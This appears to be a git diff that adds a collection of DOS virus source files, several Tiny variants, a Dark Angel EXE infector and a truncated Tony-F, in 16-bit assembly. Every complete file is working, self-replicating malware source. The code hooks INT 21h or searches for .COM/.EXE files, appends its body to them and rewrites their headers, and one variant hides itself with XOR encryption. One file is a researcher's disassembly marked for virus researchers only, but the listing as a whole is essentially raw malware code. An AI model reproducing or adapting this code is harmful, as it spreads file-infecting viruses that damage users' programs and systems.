dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov cl,2 ; The vector is 2 words long + mov ax,int_21-first4+seg_60 ; Offset + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + +vect_cpy: + xchg ax,word ptr es:[di-(32-21)*4] + stosw + mov ax,es ; Segment + loop vect_cpy ; Loop until done + +run: + mov di,offset start ; Point DI at program start + pop ax ; Restore AX + pop word ptr ds:[di+2] ; Restore the original first 4 bytes + pop word ptr ds:[di] ; of the file + push ds ; ES := DS + pop es + jmp di ; Go + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg bx,ax ; Save the file handle in BX + + mov ah,3F ; Read the first 4 bytes of the file + mov cx,4 ; 4 bytes to read + mov dx,seg_60 ; Put them in first4 + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov ax,4202 ; Seek to the end of file + xor cx,cx + xor dx,dx + int 32 ; Do it + + push ax ; Save file length + + mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov ax,4200 ; Seek to the file beginning + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dx,di ; Point DX at first4 + mov al,0E8 ; Near CALL opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the CALL's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov cl,4 ; Overwrite the first 4 bytes of the file + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-198.ASM b/t/TINY-198.ASM new file mode 100755 index 0000000..8d97a6c --- /dev/null +++ b/t/TINY-198.ASM @@ -0,0 +1,199 @@ + page ,132 + name TINY198 + title The 'Tiny' virus, version TINY-198 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-198 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-v_entry + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +v_entry: + call self ; Determine the start addres of the virus body +self: + pop si + sub si,3 + + push ax ; Save AX (to keep programs as DISKCOPY happy) + +; Check whether the virus is already in memory and just run the program if so: + + mov ah,0E9 + int 21 + + mov di,seg_60 ; Point ES:DI at 0000:0600h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len ; CX := virus length + rep movsb ; Move the virus body there + +; Transfer control to cont: by PUSHing its address +; on the stack and executing RETF: + + push es + mov ax,cont-v_entry+seg_60 + push ax + retf + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +; Resume execution from here (but already in segment 60h): + +cont: + +; Install new INT 21h handler and move the old one at INT 32h: + + mov di,21*4 + mov cl,2 + mov ax,int_21-v_entry+seg_60 + cld +lp: + push word ptr es:[di] ; Get old handler's address + pop word ptr es:[di+(32-21)*4] ; Move it at INT 32h + stosw ; Install the new one + mov ax,cs + loop lp ; Loop until done + +; Save the original first 4 bytes of the infected program on the stack: + + push word ptr cs:[first4-v_entry+seg_60] + push word ptr cs:[first4+2-v_entry+seg_60] + +run_pgm: + mov di,offset start ; Point DI at program's start + pop word ptr [di+2] ; Restore the first 4 bytes of the program + pop word ptr [di] + pop ax ; Restore the original value of AX + push ds + push ds ; ES := DS + pop es + push di ; Push 100h on the stack + retf + +mem_chk: + +; Push the original first 4 bytes of the infected program on the stack: + + push word ptr [si+first4-v_entry] + push word ptr [si+first4+2-v_entry] + jmp run_pgm ; And run the original program + +int_21: ; New INT 21h handler + cmp ah,0E9 ; Memory check? + je mem_chk ; If infected, run the original program + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + mov bx,ax ; Save the file handle in BX + + mov ah,3F ; Read the first 4 bytes of the file + mov cx,4 ; 4 bytes to read + mov dx,first4-v_entry+seg_60 ; Put them in first4 + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov ax,4202 ; Seek to the end of file + xor cx,cx + xor dx,dx + int 32 ; Do it + + push ax ; Save file length + + mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov ax,4200 ; Seek to the file beginning + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dx,di ; Point DX at first4 + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + sub ax,3 ; Subtract 3 (first instruction length) + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov cl,4 ; Overwrite the first 4 bytes of the file + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-B.ASM b/t/TINY-B.ASM new file mode 100755 index 0000000..4c3b372 --- /dev/null +++ b/t/TINY-B.ASM @@ -0,0 +1,102 @@ + PAGE ,132 +tinyv SEGMENT BYTE PUBLIC 'code' + ASSUME CS:tinyv + ASSUME SS:tinyv + ASSUME DS:tinyv +H00000 DB 0 +H00001 DB 255 DUP(?) +program PROC FAR + ASSUME ES:tinyv +begin: + JMP pgstart ; start program +exlbl LABEL BYTE + db 0CDh, 20h, 7, 8, 9 +pgstart: + CALL tinyvir +mnprg PROC NEAR +tinyvir: + POP SI ; get SI for storage + SUB SI,offset tinyvir ; reset SI to virus start + MOV BP,[SI+blnkdat] ; store SI in BP for return + ADD BP,offset exlbl ; Add to get original offset + LEA DX,[SI+fspec] ; get filespec (*.COM) + SUB CX,CX ; || (clear regs) + MOV AH,4EH ; || (find files) +mainloop: ; \||/ + INT 21H ; ----\/---- + JC ack ; no more files found, terminate virus + MOV DX,009EH ; set file name pointer + MOV AX,3D02H ; open file + INT 21H ; do it! + MOV BX,AX ; move file handle to BX + MOV AH,3FH ; read file + JMP whatever +ack: + JMP nofile +whatever: + LEA DX,[SI+endprog] ; load end of program (as buffer pntr) + MOV DI,DX ; set Dest Index to area for buffer (?) + MOV CX,0003H ; read 3 bytes + INT 21H ; do it! + CMP BYTE PTR [DI],0E9H ; check for JMP at start + JE infect ; If begins w/JMP, Infect +nextfile: + MOV AH,4FH ; set int 21 to find next file + JMP mainloop ; next file, do it! +infect: + MOV DX,[DI+01H] ; set # of bytes to move + MOV [SI+blnkdat],DX ; " " " " " " + SUB CX,CX ; " " " " " " (0 here) + NOP + MOV AX,4200H ; move file + INT 21H ; do it! + MOV DX,DI ; set dest index to area for buffer (?) + MOV CX,0002H ; two bytes + NOP + MOV AH,3FH ; read file + INT 21H ; do it! + CMP WORD PTR [DI],0807H ; check for infection + JE nextfile ; next file if infected + NOP + SUB DX,DX ; clear regs + SUB CX,CX ; " " + MOV AX,4202H ; move file pointer + INT 21H ; do it! + CMP DX,00H ; new pointer location 0? + NOP + JNE nextfile ; if no then next file + CMP AH,0FEH ; new pointer loc too high? + JNC nextfile ; yes, try again + MOV [SI+offset endprog+3],AX; point to data + NOP + MOV AH,40H ; write instruction + LEA DX,[SI+0105H] ; write buffer loc | + MOV CX,offset endprog-105h ; (size of virus) --\|/-- + INT 21H ; do it! + JC exit ; error, bug out + MOV AX,4200H ; move pointer + NOP + SUB CX,CX ; clear reg + MOV DX,OFFSET H00001 ; where to set pointer + NOP + INT 21H ; do it! + MOV AH,40H ; write to file + LEA DX,[SI+offset endprog+3]; write data at SI+1AB + NOP + MOV CX,0002H ; two bytes (the JMP) + INT 21H ; do it! +exit: + MOV AH,3EH ; close file + INT 21H ; do it! +nofile: + JMP BP ; go to original file +mnprg ENDP +program ENDP +blnkdat LABEL WORD + DW 0000H +fspec LABEL WORD + DB '*.COM' + DB 0 +endprog LABEL WORD +tinyv ENDS + END program diff --git a/t/TINY-C.ASM b/t/TINY-C.ASM new file mode 100755 index 0000000..1c657a4 --- /dev/null +++ b/t/TINY-C.ASM @@ -0,0 +1,101 @@ + PAGE ,132 +tinyv SEGMENT BYTE PUBLIC 'code' + ASSUME CS:tinyv + ASSUME SS:tinyv + ASSUME DS:tinyv +H00000 DB 0 +H00001 DB 255 DUP(?) +program PROC FAR + ASSUME ES:tinyv +begin: + JMP pgstart ; start program +exlbl LABEL BYTE + db 0CDh, 20h, 7, 8, 9 +pgstart: + CALL tinyvir +mnprg PROC NEAR +tinyvir: + POP SI ; get SI for storage + SUB SI,offset tinyvir ; reset SI to virus start + MOV BP,[SI+blnkdat] ; store SI in BP for return + ADD BP,offset exlbl ; Add to get original offset + + LEA DX,[SI+fspec] ; get filespec (*.COM) + SUB CX,CX ; || (clear regs) + MOV AH,4EH ; || (find files) +mainloop: ; \||/ + INT 21H ; ----\/---- + JC hiccup ; no more files found, terminate virus + MOV DX,009EH ; set file name pointer + MOV AX,3D02H ; open file + INT 21H ; do it! + MOV BX,AX ; move file handle to BX + MOV AH,3FH ; read file + LEA DX,[SI+endprog] ; load end of program (as buffer pntr) + MOV DI,DX ; set Dest Index to area for buffer (?) + MOV CX,0003H ; read 3 bytes + INT 21H ; do it! + CMP BYTE PTR [DI],0E9H ; check for JMP at start + JE infect ; If begins w/JMP, Infect +nextfile: + MOV AH,4FH ; set int 21 to find next file + JMP mainloop ; next file, do it! +hiccup: JMP nofile +infect: + MOV AX,5700h ; get date function + INT 21h ; do it! + PUSH DX ; store date + time + PUSH CX + MOV DX,[DI+01H] ; set # of bytes to move + MOV [SI+blnkdat],DX ; " " " " " " + SUB CX,CX ; " " " " " " (0 here) + MOV AX,4200H ; move file + INT 21H ; do it! + MOV DX,DI ; set dest index to area for buffer (?) + MOV CX,0002H ; two bytes + MOV AH,3FH ; read file + INT 21H ; do it! + CMP WORD PTR [DI],0807H ; check for infection + JE nextfile ; next file if infected + SUB DX,DX ; clear regs + SUB CX,CX ; " " + MOV AX,4202H ; move file pointer + INT 21H ; do it! + CMP DX,00H ; new pointer location 0? + JNE nextfile ; if no then next file + CMP AH,0FEH ; new pointer loc too high? + JNC nextfile ; yes, try again + MOV [SI+offset endprog+3],AX; point to data + MOV AH,40H ; write instruction + LEA DX,[SI+0105H] ; write buffer loc | + MOV CX,offset endprog-105h ; (size of virus) --\|/-- + INT 21H ; do it! + JC exit ; error, bug out + MOV AX,4200H ; move pointer + SUB CX,CX ; clear reg + MOV DX,OFFSET H00001 ; where to set pointer + INT 21H ; do it! + MOV AH,40H ; write to file + LEA DX,[SI+offset endprog+3]; write data at SI+1AB + MOV CX,0002H ; two bytes (the JMP) + INT 21H ; do it! + MOV AX,5701h ; store date + POP CX ; restore time + POP DX ; restore date + INT 21h ; do it! +exit: + MOV AH,3EH ; close file + INT 21H ; do it! +nofile: + + JMP BP ; go to original file +mnprg ENDP +program ENDP +blnkdat LABEL WORD + DW 0000H +fspec LABEL WORD + DB '*.COM' + DB 0 +endprog LABEL WORD +tinyv ENDS + END program diff --git a/t/TINY-F.ASM b/t/TINY-F.ASM new file mode 100755 index 0000000..5fafe9a --- /dev/null +++ b/t/TINY-F.ASM @@ -0,0 +1,182 @@ +tinyv SEGMENT BYTE PUBLIC 'code' + ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv + + ORG 100h + +DOS EQU 21h + +start: JMP pgstart +exlbl: db 0CDh, 20h, 7, 8, 9 +pgstart:CALL tinyvir +tinyvir: + POP SI ; get SI for storage + SUB SI,offset tinyvir ; reset SI to virus start + MOV BP,[SI+blnkdat] ; store SI in BP for return + ADD BP, OFFSET exlbl + CALL endecrpt + JMP SHORT realprog + +;----------------------------------------------------------------------------- +; nonencrypted subroutines start here +;----------------------------------------------------------------------------- + +; PCM's encryption was stupid, mine is better - Dark Angel +endecrpt: +; Only need to save necessary registers - Dark Angel + PUSH AX ; store registers + PUSH BX + PUSH CX + PUSH SI +; New, better, more compact encryption engine + MOV BX, [SI+EN_VAL] + ADD SI, offset realprog + MOV CX, endenc - realprog + SHR CX, 1 + JNC start_encryption + DEC SI +start_encryption: + MOV DI, SI +encloop: + LODSW ; DS:[SI] -> AX + XOR AX, BX + STOSW + LOOP encloop + + POP SI ; restore registers + POP CX + POP BX + POP AX + RET +;-----end of encryption routine +nfect: + CALL endecrpt + MOV [SI+offset endprog+3],AX; point to data + MOV AH,40H ; write instruction + LEA DX,[SI+0105H] ; write buffer loc | + MOV CX,offset endprog-105h ; (size of virus) --\|/-- + INT DOS ; do it! + PUSHF + CALL endecrpt + POPF + JC outa1 ; error, bug out + RET +outa1: + JMP exit + + +;----------------------------------------------------------------------------- +; Unencrypted routines end here +;----------------------------------------------------------------------------- +realprog: + CLD ; forward direction for string ops +; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel +; Instead, set DTA to SI+ENDPROG+131h + MOV AH, 1Ah ; Set DTA + LEA DX, [SI+ENDPROG+131h] ; to DS:DX + INT 21h + + LEA DX,[SI+fspec] ; get filespec (*.COM) + XOR CX, CX ; || (clear regs) + MOV AH,4EH ; || (find files) +mainloop: ; \||/ + INT DOS ; ----\/---- + JC hiccup ; no more files found, terminate virus +; Next part had to be changed to account for new DTA address - Dark Angel + LEA DX, [SI+ENDPROG+131h+30]; set file name pointer + ; (offset 30 is DTA filename start) + MOV AX,3D02H ; open file + INT DOS ; do it! + MOV BX,AX ; move file handle to BX + MOV AH,3FH ; read file + LEA DX,[SI+endprog] ; load end of program (as buffer pntr) + MOV DI,DX ; set Dest Index to area for buffer + MOV CX,0003H ; read 3 bytes + INT DOS ; do it! + CMP BYTE PTR [DI],0E9H ; check for JMP at start + JE infect ; If begins w/JMP, Infect +nextfile: + MOV AH,4FH ; set int 21 to find next file + JMP mainloop ; next file, do it! +hiccup: JMP exit +infect: + MOV AX,5700h ; get date function + INT DOS ; do it! + PUSH DX ; store date + time + PUSH CX + MOV DX,[DI+01H] ; set # of bytes to move + MOV [SI+blnkdat],DX ; " " " " " " +; Tighter Code here - Dark Angel + XOR CX,CX ; " " " " " " (0 here) + MOV AX,4200H ; move file + INT DOS ; do it! + MOV DX,DI ; set dest index to area for buffer + MOV CX,0002H ; two bytes + MOV AH,3FH ; read file + INT DOS ; do it! + CMP WORD PTR [DI],0807H ; check for infection + JE nextfile ; next file if infected +getaval: ; encryption routine starts here +; My modifications here - Dark Angel + MOV AH, 2Ch ; DOS get TIME function + INT DOS ; do it! + OR DX, DX ; Is it 0? + JE getaval ; yeah, try again + MOV word ptr [si+offset en_val], DX ; Store it +; Tighter code here - Dark Angel + XOR DX,DX ; clear regs + XOR CX,CX ; " " + MOV AX,4202H ; move file pointer + INT DOS ; do it! + OR DX,DX ; new pointer location 0? + JNE nextfile ; if no then next file + CMP AH,0FEH ; new pointer loc too high? + JNC nextfile ; yes, try again + CALL nfect + MOV AX,4200H ; move pointer + XOR CX, CX ; clear reg + MOV DX,OFFSET 00001 ; where to set pointer + INT DOS ; do it! + MOV AH,40H ; write to file + LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER + MOV CX,0002H ; two bytes (the JMP) + INT DOS ; do it! + MOV AX,5701h ; store date + POP CX ; restore time + POP DX ; restore date + INT DOS ; do it! +exit: + MOV AH,3EH ; close file + INT DOS ; do it! + +; Return DTA to old position - Dark Angel + + MOV AH, 1Ah ; Set DTA + MOV DX, 80h ; to PSP DTA + INT 21h + + JMP BP + +;----------------------------------------------------------------------------- +; encrypted data goes here +;----------------------------------------------------------------------------- + +fspec LABEL WORD + DB '*.COM',0 +nondata DB 'Tiny-F version 1.1' ; Program identification + DB '@&' ; author identification + DB 'Released 10-19-91' ; release date +endenc LABEL BYTE ; end of encryption zone +;----------------------------------------------------------------------------- +; nonencrypted data goes anywhere after here +;----------------------------------------------------------------------------- + +blnkdat LABEL WORD + DW 0000H + +; Only en_val is needed now because of new encryption mechanism +en_val DW 0h + +endprog LABEL WORD +tinyv ENDS + END start + diff --git a/t/TINY.ASM b/t/TINY.ASM new file mode 100755 index 0000000..ee663ca --- /dev/null +++ b/t/TINY.ASM @@ -0,0 +1,187 @@ + + .model tiny ; Handy TASM directive + .code ; Virus code segment + org 100h ; COM file starting IP + ; Cheesy EXE infector + ; Written by Dark Angel of PHALCON/SKISM + ; For 40Hex Number 8 Volume 2 Issue 4 + id = 'DA' ; ID word for EXE infections + + startvirus: ; virus code starts here + call next ; calculate delta offset + next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw + movsw + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + lea dx,[bp+exe_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute + findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe + find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + pop es + pop ds ; DS->PSP + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+jmpsave+2],ax + add ax,word ptr cs:[si+stacksave+2] + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo + jmpsave dd ? ; Original CS:IP + stacksave dd ? ; Original SS:SP + jmpsave2 dd 0fff00000h ; Needed for carrier file + stacksave2 dd ? + + creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 + virusname db '[DemoEXE] for 40Hex',0 + + infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 ; 2**9 = 512 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax ; filesize in pages + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + mov cx, 1ah + finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Concatenate virus + lea dx,[bp+startvirus] + mov cx,heap-startvirus ; # bytes to write + int 21h + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + mo_infections: jmp find_next + + open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + + attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + + exe_mask db '*.exe',0 + heap: ; Variables not in code + newDTA db 42 dup (?) ; Temporary DTA + buffer db 1ah dup (?) ; read buffer + endheap: ; End of virus + + end startvirus diff --git a/t/TINY133.ASM b/t/TINY133.ASM new file mode 100755 index 0000000..ecee24b --- /dev/null +++ b/t/TINY133.ASM @@ -0,0 +1,94 @@ +VSize=085h + +Code Segment + Assume CS:Code + org 0 + db 4Dh + jmp Start + + Org 600h + +Bytes db 0CDh,20h,90h,90h + +Start: mov si, 0100h + mov bx, offset Int21 + mov cx, 0050h + mov di, si + add si, [si+2] + push di + movsw + movsw + mov es, cx + cmpsb + je StartFile + dec si + dec di + rep movsw + mov es, cx + xchg ax, bx + xchg ax, cx +Loop0: xchg ax, cx + xchg ax, word ptr es:[di-120h] + stosw + jcxz Loop0 + xchg ax, bx +StartFile: + push ds + pop es + ret + +Int21: cmp ax, 4B00h + jne End21 +Exec: push ax + push bx + push dx + push ds + push es + mov ax, 3D02h + call DoInt21 + jc EndExec + cbw ;Zero AH + cwd ;Zero DX + mov bx, si ;Move handle to BX + mov ds, ax ;Set DS and ES to 60h, + mov es, ax ;the virus data segment + mov ah, 3Fh ;Read first 4 bytes + int 69h + mov al, 4Dh + scasb ;Check for 4D5Ah or infected file mark + je Close ;.EXE or already infected + mov al, 2 + call LSeek ;Seek to the end, SI now contains file size + mov cl, VSize ;Virus size in CX, prepare to write + int 69h ;AH is 40h, i.e. Write operation + mov ax, 0E94Dh ;Virus header in AX + stosw ;Store it + xchg ax, si ;Move file size in AX + stosw ;Complete JMP instruction + xchg ax, dx ;Zero AX + call LSeek ;Seek to the beginning + int 69h ;AH is 40h, write the virus header +Close: mov ah,3Eh ;Close the file + int 69h +EndExec: pop es + pop ds + pop dx + pop bx + pop ax +End21: jmp dword ptr cs:[69h * 4] + +LSeek: mov ah, 42h ;Seek operation + cwd ;Zero DX +DoInt21: xor cx, cx ;External entry for Open, zero cx + int 69h + mov cl, 4 ;4 bytes will be read/written + xchg ax, si ;Store AX in SI + mov ax, 4060h ;Prepare AH for Write + xor di, di ;Zero DI + ret + +VLen = $ - offset Bytes + +Code EndS +End + \ No newline at end of file diff --git a/t/TINYD.ASM b/t/TINYD.ASM new file mode 100755 index 0000000..778b980 --- /dev/null +++ b/t/TINYD.ASM @@ -0,0 +1,116 @@ +tinyv SEGMENT BYTE PUBLIC 'code' + ASSUME CS:tinyv + ASSUME SS:tinyv + ASSUME DS:tinyv +H00000 DB 0 +H00001 DB 255 DUP(?) +program PROC FAR + ASSUME ES:tinyv +begin: + JMP pgstart ; start program +exlbl LABEL BYTE + db 0CDh, 20h, 7, 8, 9 +pgstart: + CALL tinyvir +mnprg PROC NEAR +tinyvir: + POP SI ; get SI for storage + SUB SI,offset tinyvir ; reset SI to virus start + MOV BP,[SI+blnkdat] ; store SI in BP for return + ADD BP,offset exlbl ; Add to get original offset + + LEA DX,[SI+fspec] ; get filespec (*.COM) + SUB CX,CX ; || (clear regs) + MOV AH,4EH ; || (find files) +mainloop: ; \||/ + INT 21H ; ----\/---- + JC hiccup ; no more files found, terminate virus + MOV DX,009EH ; set file name pointer + MOV AX,3D02H ; open file + INT 21H ; do it! + MOV BX,AX ; move file handle to BX + MOV AH,3FH ; read file + LEA DX,[SI+endprog] ; load end of program (as buffer pntr) + MOV DI,DX ; set Dest Index to area for buffer (?) + MOV CX,0003H ; read 3 bytes + INT 21H ; do it! + CMP BYTE PTR [DI],0E9H ; check for JMP at start + JE infect ; If begins w/JMP, Infect +nextfile: + MOV AH,4FH ; set int 21 to find next file + JMP mainloop ; next file, do it! +hiccup: JMP nofile +infect: + MOV AX,5700h ; get date function + INT 21h ; do it! + PUSH DX ; store date + time + PUSH CX + MOV DX,[DI+01H] ; set # of bytes to move + MOV [SI+blnkdat],DX ; " " " " " " + SUB CX,CX ; " " " " " " (0 here) + MOV AX,4200H ; move file + INT 21H ; do it! + MOV DX,DI ; set dest index to area for buffer (?) + MOV CX,0002H ; two bytes + MOV AH,3FH ; read file + INT 21H ; do it! + CMP WORD PTR [DI],0807H ; check for infection + JE nextfile ; next file if infected + SUB DX,DX ; clear regs + SUB CX,CX ; " " + MOV AX,4202H ; move file pointer + INT 21H ; do it! + CMP DX,00H ; new pointer location 0? + JNE nextfile ; if no then next file + CMP AH,0FEH ; new pointer loc too high? + JNC nextfile ; yes, try again + MOV [SI+offset endprog+3],AX; point to data + MOV AH,40H ; write instruction + LEA DX,[SI+0105H] ; write buffer loc | + MOV CX,offset endprog-105h ; (size of virus) --\|/-- + INT 21H ; do it! + JC exit ; error, bug out + MOV AX,4200H ; move pointer + SUB CX,CX ; clear reg + MOV DX,OFFSET H00001 ; where to set pointer + INT 21H ; do it! + MOV AH,40H ; write to file + LEA DX,[SI+offset endprog+3]; write data at SI+1AB + MOV CX,0002H ; two bytes (the JMP) + INT 21H ; do it! + MOV AX,5701h ; store date + POP CX ; restore time + POP DX ; restore date + INT 21h ; do it! +exit: + MOV AH,2Ah ; date function + INT 21h ; do it! + CMP AL,0h ; is it sunday? + JNE closal ; nope, quit + CMP DH,6h ; is it June? + JNE closal ; nope, quit + PUSH BX + PUSH SI + MOV AH,9h ; print string + MOV DX, OFFSET nondata ; string to print + ADD DX,SI + INT 21h ; print it + MOV DX, OFFSET nondat2 ; next string + ADD DX, SI + INT 21h ; print it! + POP BX +closal: MOV AH,3EH ; close file + INT 21H ; do it! +nofile: JMP BP ; go to original file +mnprg ENDP +program ENDP +blnkdat LABEL WORD + DW 0000H +fspec LABEL WORD + DB '*.COM' + DB 0 +nondata DB 'Tiny-D version 1.1$ '; Program identification +nondat2 DB ' by @&$' ; author identification +endprog LABEL WORD +tinyv ENDS + END program diff --git a/t/TONY-F.ASM b/t/TONY-F.ASM new file mode 100755 index 0000000..f041139 --- /dev/null +++ b/t/TONY-F.ASM @@ -0,0 +1,201 @@ +;------------------------------------------------------------------------------; +; ; +; Tony-F ; +; ; +; Tony_F , - ; +; ; +; ?*.COM, ? . ; +; Tony-F , ; +; ( 24h) ; +; . ; +; Tony-F 21h ; +; 3, ; +; . ; +;------------------------------------------------------------------------------; + +; Turbo Assembler 2.0+ + + .model Tiny + .code + + +VirLen = offset EndCode - offset Start ; . + +;-----------------------------------------------------------------------------; + + Org 07Fh + +INT24 db ? ; 24h. + + + Org 0100h + +NewDTA db 15h dup (?) ; DTA. +FAttr db ? +FTime dw ? +FDate dw ? +FLen dw ?, ? +FName db 0Dh dup (?) + +;-----------------------------------------------------------------------------; + + Org 100h + +Start: + push ax ; AX. + +;...... 21h + + mov ax,1203h + int 2Fh ; . + + xor si,si ; +Again: ; - 2h,3h 26h. + lodsw + cmp ax,3A2Eh + je NextByte + dec si + jnz Again + jmp Done +NextByte: + lodsb + cmp al,26h + jne Again +Found: + sub si,03 + + mov dx,si + mov ax,2503H ; 21h + Int 21h ; 3. + + push cs ; DS. + pop ds + +;...... + + mov INT24,0CFh ; 24h - Iret + mov ax,2524h + mov dx,offset INT24 + Int 3 ; 24h. + + + mov ax,cs + add ah,10h + mov es,ax ; ES = CS + 64 KBytes + mov si,offset Start + xor di,di + mov cx,si ; 64KBytes + rep movsb ; - . + + mov dx,offset NewDTA ; DTA . + mov ah,1Ah + Int 3 + + mov ah,2Ah + Int 3 ; , + add dl,'A' ; + mov AllCom ,dl ; . + +;...... . + + mov dx, offset AllCom ; '?*.COM' . + mov cl,110B + mov ah,4Eh ; Find First. + Int 3 + jc Done ; + ; . +FindNext: + mov dx,offset Fname ; dx DTA. + mov ax,3D02h ; /. + Int 3 + + mov bx,ax ; . + push ds ; DS. + push es + pop ds ; DS = CS + 64 KBytes. + + mov dx,VirLen ; DX = . + mov cx,-1 ; - DS:DX . + mov ah,3Fh ; , + Int 3 ; . + + ; (AX) + add ax,Virlen ; . + jc Close ; . + + cmp Byte ptr ds:[ Mark + VirLen -100h ],'T' ; ? + je 